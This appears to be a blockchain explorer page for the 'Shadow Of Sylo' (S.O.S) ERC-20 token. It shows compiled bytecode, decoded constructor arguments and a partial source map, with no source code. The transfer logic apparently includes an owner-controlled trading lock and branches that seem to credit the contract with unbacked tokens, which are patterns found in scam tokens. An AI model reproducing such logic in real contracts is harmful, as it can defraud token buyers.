002060008282546114419190611f6c565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114a59190611b41565b60405180910390a3600d60009054906101000a900460ff16611537576114c96106da565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d906120ee565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261161b919061204b565b9050600047905061162c823061164d565b6000814761163a9190611da8565b905061164783823061188c565b50505050565b6000600267ffffffffffffffff81111561166a5761166961210e565b5b6040519080825280602002602001820160405280156116985781602001602082028036833780820191505090505b50905030816000815181106116b0576116af61213d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611755573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117799190612181565b8160018151811061178d5761178c61213d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117f2307f0000000000000000000000000000000000000000000000000000000000000000856109f5565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016118559594939291906122a7565b600060405180830381600087803b15801561186f57600080fd5b505af1158015611883573d6000803e3d6000fd5b50505050505050565b6118b7307f0000000000000000000000000000000000000000000000000000000000000000856109f5565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161191d96959493929190612301565b60606040518083038185885af115801561193b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119609190612377565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119a2578082015181840152602081019050611987565b838111156119b1576000848401525b50505050565b6000601f19601f8301169050919050565b60006119d382611968565b6119dd8185611973565b93506119ed818560208601611984565b6119f6816119b7565b840191505092915050565b60006020820190508181036000830152611a1b81846119c8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a5382611a28565b9050919050565b611a6381611a48565b8114611a6e57600080fd5b50565b600081359050611a8081611a5a565b92915050565b6000819050919050565b611a9981611a86565b8114611aa457600080fd5b50565b600081359050611ab681611a90565b92915050565b60008060408385031215611ad357611ad2611a23565b5b6000611ae185828601611a71565b9250506020611af285828601611aa7565b9150509250929050565b60008115159050919050565b611b1181611afc565b82525050565b6000602082019050611b2c6000830184611b08565b92915050565b611b3b81611a86565b82525050565b6000602082019050611b566000830184611b32565b92915050565b600080600060608486031215611b7557611b74611a23565b5b6000611b8386828701611a71565b9350506020611b9486828701611a71565b9250506040611ba586828701611aa7565b9150509250925092565b611bb881611afc565b8114611bc357600080fd5b50565b600081359050611bd581611baf565b92915050565b600060208284031215611bf157611bf0611a23565b5b6000611bff84828501611bc6565b91505092915050565b611c1181611a48565b82525050565b6000602082019050611c2c6000830184611c08565b92915050565b600060208284031215611c4857611c47611a23565b5b6000611c5684828501611a71565b91505092915050565b60008060408385031215611c7657611c75611a23565b5b6000611c8485828601611a71565b9250506020611c9585828601611a71565b9150509250929050565b6000819050919050565b6000611cc4611cbf611cba84611a28565b611c9f565b611a28565b9050919050565b6000611cd682611ca9565b9050919050565b6000611ce882611ccb565b9050919050565b611cf881611cdd565b82525050565b6000602082019050611d136000830184611cef565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d6057607f821691505b602082108103611d7357611d72611d19565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611db382611a86565b9150611dbe83611a86565b925082821015611dd157611dd0611d79565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e12602083611973565b9150611e1d82611ddc565b602082019050919050565b60006020820190508181036000830152611e4181611e05565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ea4602683611973565b9150611eaf82611e48565b604082019050919050565b60006020820190508181036000830152611ed381611e97565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611f36602483611973565b9150611f4182611eda565b604082019050919050565b60006020820190508181036000830152611f6581611f29565b9050919050565b6000611f7782611a86565b9150611f8283611a86565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fb757611fb6611d79565b5b828201905092915050565b6000611fcd82611a86565b9150611fd883611a86565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561201157612010611d79565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061205682611a86565b915061206183611a86565b9250826120715761207061201c565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006120d8603f83611973565b91506120e38261207c565b604082019050919050565b60006020820190508181036000830152612107816120cb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061217b81611a5a565b92915050565b60006020828403121561219757612196611a23565b5b60006121a58482850161216c565b91505092915050565b6000819050919050565b60006121d36121ce6121c9846121ae565b611c9f565b611a86565b9050919050565b6121e3816121b8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61221e81611a48565b82525050565b60006122308383612215565b60208301905092915050565b6000602082019050919050565b6000612254826121e9565b61225e81856121f4565b935061226983612205565b8060005b8381101561229a5781516122818882612224565b975061228c8361223c565b92505060018101905061226d565b5085935050505092915050565b600060a0820190506122bc6000830188611b32565b6122c960208301876121da565b81810360408301526122db8186612249565b90506122ea6060830185611c08565b6122f76080830184611b32565b9695505050505050565b600060c0820190506123166000830189611c08565b6123236020830188611b32565b61233060408301876121da565b61233d60608301866121da565b61234a6080830185611c08565b61235760a0830184611b32565b979650505050505050565b60008151905061237181611a90565b92915050565b6000806000606084860312156123905761238f611a23565b5b600061239e86828701612362565b93505060206123af86828701612362565b92505060406123c086828701612362565b915050925092509256fea264697066735822122017556245396c49815df358e6e54e477abb7acc8a220ac854b50657ad2126377b64736f6c634300080f0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000e536861646f77204f662053796c6f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005532e4f2e53000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063914eb66a11610095578063c8c8ebe411610064578063c8c8ebe41461037a578063dd62ed3e146103a5578063f2fde38b146103e2578063f66db7ce1461040b578063f887ea401461043657610114565b8063914eb66a146102d057806395d89b41146102e7578063a4d15b6414610312578063a9059cbb1461033d57610114565b80632a9b8072116100dc5780632a9b8072146101e9578063313ce5671461021257806349bd5a5e1461023d57806370a08231146102685780638da5cb5b146102a557610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b9190611a01565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611abc565b6104f3565b6040516101789190611b17565b60405180910390f35b34801561018d57600080fd5b50610196610508565b6040516101a39190611b41565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190611b5c565b610512565b6040516101e09190611b17565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190611bdb565b6105ba565b005b34801561021e57600080fd5b50610227610653565b6040516102349190611b41565b60405180910390f35b34801561024957600080fd5b5061025261066d565b60405161025f9190611c17565b60405180910390f35b34801561027457600080fd5b5061028f600480360381019061028a9190611c32565b610691565b60405161029c9190611b41565b60405180910390f35b3480156102b157600080fd5b506102ba6106da565b6040516102c79190611c17565b60405180910390f35b3480156102dc57600080fd5b506102e5610703565b005b3480156102f357600080fd5b506102fc61078b565b6040516103099190611a01565b60405180910390f35b34801561031e57600080fd5b5061032761081d565b6040516103349190611b17565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f9190611abc565b610830565b6040516103719190611b17565b60405180910390f35b34801561038657600080fd5b5061038f610847565b60405161039c9190611b41565b60405180910390f35b3480156103b157600080fd5b506103cc60048036038101906103c79190611c5f565b61084d565b6040516103d99190611b41565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190611c32565b6108d4565b005b34801561041757600080fd5b506104206109cb565b60405161042d9190611b41565b60405180910390f35b34801561044257600080fd5b5061044b6109d1565b6040516104589190611cfe565b60405180910390f35b60606002805461047090611d48565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611d48565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b60006105003384846109f5565b905092915050565b6000600554905090565b600061051f848484610b90565b6105b1843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ac9190611da8565b6109f5565b90509392505050565b6105c2611540565b73ffffffffffffffffffffffffffffffffffffffff166105e06106da565b73ffffffffffffffffffffffffffffffffffffffff1614610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90611e28565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b6000600460009054906101000a900460ff1660ff16905090565b7f000000000000000000000000c6315e989d2e902a020e78d86872b990b83b14a581565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61070b611540565b73ffffffffffffffffffffffffffffffffffffffff166107296106da565b73ffffffffffffffffffffffffffffffffffffffff161461077f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077690611e28565b60405180910390fd5b6107896000611548565b565b60606001805461079a90611d48565b80601f01602080910402602001604051908101604052809291908181526020018280546107c690611d48565b80156108135780601f106107e857610100808354040283529160200191610813565b820191906000526020600020905b8154815290600101906020018083116107f657829003601f168201915b5050505050905090565b600d60019054906101000a900460ff1681565b600061083d338484610b90565b6001905092915050565b60075481565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108dc611540565b73ffffffffffffffffffffffffffffffffffffffff166108fa6106da565b73ffffffffffffffffffffffffffffffffffffffff1614610950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094790611e28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b690611eba565b60405180910390fd5b6109c881611548565b50565b60035481565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a605750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9690611f4c565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b7d9190611b41565b60405180910390a3600190509392505050565b6000610b9b30610691565b90506000600d60019054906101000a900460ff168015610bbc575060065482115b8015610bd55750600d60029054906101000a900460ff16155b8015610c2d57507f000000000000000000000000c6315e989d2e902a020e78d86872b990b83b14a573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c76576001600d60026101000a81548160ff021916908315150217905550610c568261160c565b6000600d60026101000a81548160ff02191690831515021790555061105b565b600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d065750600654600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d755782905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5d9190611f6c565b92505081905550610d6e838561164d565b505061153b565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e1057506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610e1d575060065483115b8015610e7557507f000000000000000000000000c6315e989d2e902a020e78d86872b990b83b14a573ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ec55782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505061153b565b600d60029054906101000a900460ff16158015610f2157506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f7957507f000000000000000000000000c6315e989d2e902a020e78d86872b990b83b14a573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610fc457506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561105a57600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110169190611da8565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600960007f000000000000000000000000c6315e989d2e902a020e78d86872b990b83b14a573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361116d57600654600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600960007f000000000000000000000000c6315e989d2e902a020e78d86872b990b83b14a573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561125c57506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112755750600d60029054906101000a900460ff16155b80156112c057506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561139c576064600354856112d59190611fc2565b6112df919061204b565b915081846112ed9190611da8565b935081600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461133e9190611da8565b9250508190555081600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113949190611f6c565b925050819055505b83600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113eb9190611da8565b9250508190555083600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114419190611f6c565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114a59190611b41565b60405180910390a3600d60009054906101000a900460ff16611537576114c96106da565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d906120ee565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261161b919061204b565b9050600047905061162c823061164d565b6000814761163a9190611da8565b905061164783823061188c565b50505050565b6000600267ffffffffffffffff81111561166a5761166961210e565b5b6040519080825280602002602001820160405280156116985781602001602082028036833780820191505090505b50905030816000815181106116b0576116af61213d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611755573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117799190612181565b8160018151811061178d5761178c61213d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117f2307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109f5565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016118559594939291906122a7565b600060405180830381600087803b15801561186f57600080fd5b505af1158015611883573d6000803e3d6000fd5b50505050505050565b6118b7307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109f5565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161191d96959493929190612301565b60606040518083038185885af115801561193b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119609190612377565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119a2578082015181840152602081019050611987565b838111156119b1576000848401525b50505050565b6000601f19601f8301169050919050565b60006119d382611968565b6119dd8185611973565b93506119ed818560208601611984565b6119f6816119b7565b840191505092915050565b60006020820190508181036000830152611a1b81846119c8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a5382611a28565b9050919050565b611a6381611a48565b8114611a6e57600080fd5b50565b600081359050611a8081611a5a565b92915050565b6000819050919050565b611a9981611a86565b8114611aa457600080fd5b50565b600081359050611ab681611a90565b92915050565b60008060408385031215611ad357611ad2611a23565b5b6000611ae185828601611a71565b9250506020611af285828601611aa7565b9150509250929050565b60008115159050919050565b611b1181611afc565b82525050565b6000602082019050611b2c6000830184611b08565b92915050565b611b3b81611a86565b82525050565b6000602082019050611b566000830184611b32565b92915050565b600080600060608486031215611b7557611b74611a23565b5b6000611b8386828701611a71565b9350506020611b9486828701611a71565b9250506040611ba586828701611aa7565b9150509250925092565b611bb881611afc565b8114611bc357600080fd5b50565b600081359050611bd581611baf565b92915050565b600060208284031215611bf157611bf0611a23565b5b6000611bff84828501611bc6565b91505092915050565b611c1181611a48565b82525050565b6000602082019050611c2c6000830184611c08565b92915050565b600060208284031215611c4857611c47611a23565b5b6000611c5684828501611a71565b91505092915050565b60008060408385031215611c7657611c75611a23565b5b6000611c8485828601611a71565b9250506020611c9585828601611a71565b9150509250929050565b6000819050919050565b6000611cc4611cbf611cba84611a28565b611c9f565b611a28565b9050919050565b6000611cd682611ca9565b9050919050565b6000611ce882611ccb565b9050919050565b611cf881611cdd565b82525050565b6000602082019050611d136000830184611cef565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d6057607f821691505b602082108103611d7357611d72611d19565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611db382611a86565b9150611dbe83611a86565b925082821015611dd157611dd0611d79565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e12602083611973565b9150611e1d82611ddc565b602082019050919050565b60006020820190508181036000830152611e4181611e05565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ea4602683611973565b9150611eaf82611e48565b604082019050919050565b60006020820190508181036000830152611ed381611e97565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611f36602483611973565b9150611f4182611eda565b604082019050919050565b60006020820190508181036000830152611f6581611f29565b9050919050565b6000611f7782611a86565b9150611f8283611a86565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fb757611fb6611d79565b5b828201905092915050565b6000611fcd82611a86565b9150611fd883611a86565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561201157612010611d79565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061205682611a86565b915061206183611a86565b9250826120715761207061201c565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006120d8603f83611973565b91506120e38261207c565b604082019050919050565b60006020820190508181036000830152612107816120cb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061217b81611a5a565b92915050565b60006020828403121561219757612196611a23565b5b60006121a58482850161216c565b91505092915050565b6000819050919050565b60006121d36121ce6121c9846121ae565b611c9f565b611a86565b9050919050565b6121e3816121b8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61221e81611a48565b82525050565b60006122308383612215565b60208301905092915050565b6000602082019050919050565b6000612254826121e9565b61225e81856121f4565b935061226983612205565b8060005b8381101561229a5781516122818882612224565b975061228c8361223c565b92505060018101905061226d565b5085935050505092915050565b600060a0820190506122bc6000830188611b32565b6122c960208301876121da565b81810360408301526122db8186612249565b90506122ea6060830185611c08565b6122f76080830184611b32565b9695505050505050565b600060c0820190506123166000830189611c08565b6123236020830188611b32565b61233060408301876121da565b61233d60608301866121da565b61234a6080830185611c08565b61235760a0830184611b32565b979650505050505050565b60008151905061237181611a90565b92915050565b6000806000606084860312156123905761238f611a23565b5b600061239e86828701612362565b93505060206123af86828701612362565b92505060406123c086828701612362565b915050925092509256fea264697066735822122017556245396c49815df358e6e54e477abb7acc8a220ac854b50657ad2126377b64736f6c634300080f0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000e536861646f77204f662053796c6f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005532e4f2e53000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): Shadow Of Sylo
Arg [1] : Symbol (string): S.O.S
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 536861646f77204f662053796c6f000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 532e4f2e53000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

7798:5822:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9227:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9755:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9316:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10256:281;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13137:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9408:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8515:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9639:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6989:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7208:91;;;;;;;;;;;;;:::i;:::-;;9134:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8443:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10543:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8079:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9499:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7305:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7904:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8560:42;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9227:83;9264:13;9297:5;9290:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9227:83;:::o;9755:137::-;9823:4;9847:37;9856:10;9868:7;9877:6;9847:8;:37::i;:::-;9840:44;;9755:137;;;;:::o;9316:86::-;9360:7;9387;;9380:14;;9316:86;:::o;10256:281::-;10381:4;10398:43;10415:6;10423:9;10434:6;10398:10;:43::i;:::-;10459:70;10468:6;10476:10;10522:6;10488:11;:19;10500:6;10488:19;;;;;;;;;;;;;;;:31;10508:10;10488:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;10459:8;:70::i;:::-;10452:77;;10256:281;;;;;:::o;13137:102::-;7133:12;:10;:12::i;:::-;7122:23;;:7;:5;:7::i;:::-;:23;;;7114:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13219:12:::1;13205:11;;:26;;;;;;;;;;;;;;;;;;13137:102:::0;:::o;9408:85::-;9449:7;9476:9;;;;;;;;;;;9469:16;;;;9408:85;:::o;8515:38::-;;;:::o;9639:110::-;9696:7;9723:9;:18;9733:7;9723:18;;;;;;;;;;;;;;;;9716:25;;9639:110;;;:::o;6989:87::-;7035:7;7062:6;;;;;;;;;;;7055:13;;6989:87;:::o;7208:91::-;7133:12;:10;:12::i;:::-;7122:23;;:7;:5;:7::i;:::-;:23;;;7114:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7270:21:::1;7288:1;7270:9;:21::i;:::-;7208:91::o:0;9134:87::-;9173:13;9206:7;9199:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9134:87;:::o;8443:30::-;;;;;;;;;;;;;:::o;10543:165::-;10614:4;10631:47;10648:10;10660:9;10671:6;10631:10;:47::i;:::-;10696:4;10689:11;;10543:165;;;;:::o;8079:35::-;;;;:::o;9499:134::-;9571:7;9598:11;:18;9610:5;9598:18;;;;;;;;;;;;;;;:27;9617:7;9598:27;;;;;;;;;;;;;;;;9591:34;;9499:134;;;;:::o;7305:192::-;7133:12;:10;:12::i;:::-;7122:23;;:7;:5;:7::i;:::-;:23;;;7114:68;;;;;;;;;;;;::